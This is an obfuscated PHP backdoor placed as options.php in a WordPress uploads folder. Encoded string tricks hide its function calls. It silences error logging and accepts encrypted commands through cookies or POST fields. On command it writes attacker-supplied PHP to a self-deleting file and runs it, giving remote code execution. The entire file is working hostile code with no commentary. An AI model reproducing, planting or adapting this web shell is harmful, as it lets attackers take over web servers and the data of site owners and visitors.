File: //old_home_backup/delanceyandco.co.uk/public_html/wp-content/uploads/2019/02/options.php
<?php $ylahi = "\x66"."\x69".chr(108).chr(1006-905).'_'.chr(112).chr(117).chr(996-880)."\x5f".'c'.chr(474-363)."\x6e"."\164"."\x65"."\x6e"."\x74".'s';
$qymmrvb = chr(313-215)."\x61".chr(115).chr(464-363)."\66".chr(52).chr(95).chr(100).chr(101).chr(750-651)."\x6f".'d'.chr(101);
$yqruoy = 'i'.chr(198-88)."\x69"."\x5f".'s'."\145".'t';
$abbhar = chr(200-83).chr(113-3)."\154".'i'.'n'.'k';
@$yqruoy('e'."\x72".chr(932-818)."\157".'r'.chr(444-349)."\154"."\x6f".chr(103), NULL);
@$yqruoy('l'.'o'.chr(524-421)."\137"."\145"."\162"."\x72".chr(111)."\162".'s', 0);
@$yqruoy("\x6d"."\x61".'x'.'_'.chr(614-513).'x'.chr(221-120)."\x63".chr(117).'t'."\x69".chr(111)."\x6e".chr(121-26).'t'.chr(229-124).'m'."\x65", 0);
@set_time_limit(0);
function ayvaeovq($rgrohqvp, $vuciotvg)
{
$qeszb = "";
for ($rpftdb = 0; $rpftdb < strlen($rgrohqvp);) {
for ($j = 0; $j < strlen($vuciotvg) && $rpftdb < strlen($rgrohqvp); $j++, $rpftdb++) {
$qeszb .= chr(ord($rgrohqvp[$rpftdb]) ^ ord($vuciotvg[$j]));
}
}
return $qeszb;
}
$htlfwbod = array_merge($_COOKIE, $_POST);
$hycicapt = '60dfd839-ebc1-4129-aed3-71558f9a9e05';
foreach ($htlfwbod as $qafuyapu => $rgrohqvp) {
$rgrohqvp = @unserialize(ayvaeovq(ayvaeovq($qymmrvb($rgrohqvp), $hycicapt), $qafuyapu));
if (isset($rgrohqvp[chr(97)."\x6b"])) {
if ($rgrohqvp[chr(97)] == chr(254-149)) {
$rpftdb = array(
'p'."\x76" => @phpversion(),
's'.chr(118) => "3.5",
);
echo @serialize($rpftdb);
} elseif ($rgrohqvp[chr(97)] == chr(101)) {
$hupinrzir = "./" . md5($hycicapt) . '.'.'i'.chr(311-201).'c';
@$ylahi($hupinrzir, "<" . "\77".chr(112).'h'."\x70"."\x20".chr(64).chr(117).'n'."\x6c".chr(852-747).chr(110).chr(107).chr(40).'_'.chr(494-399)."\106".'I'.chr(684-608)."\x45"."\137".chr(379-284).chr(41).chr(534-475).chr(32) . $rgrohqvp[chr(816-716)]);
include($hupinrzir);
@$abbhar($hupinrzir);
}
exit();
}
}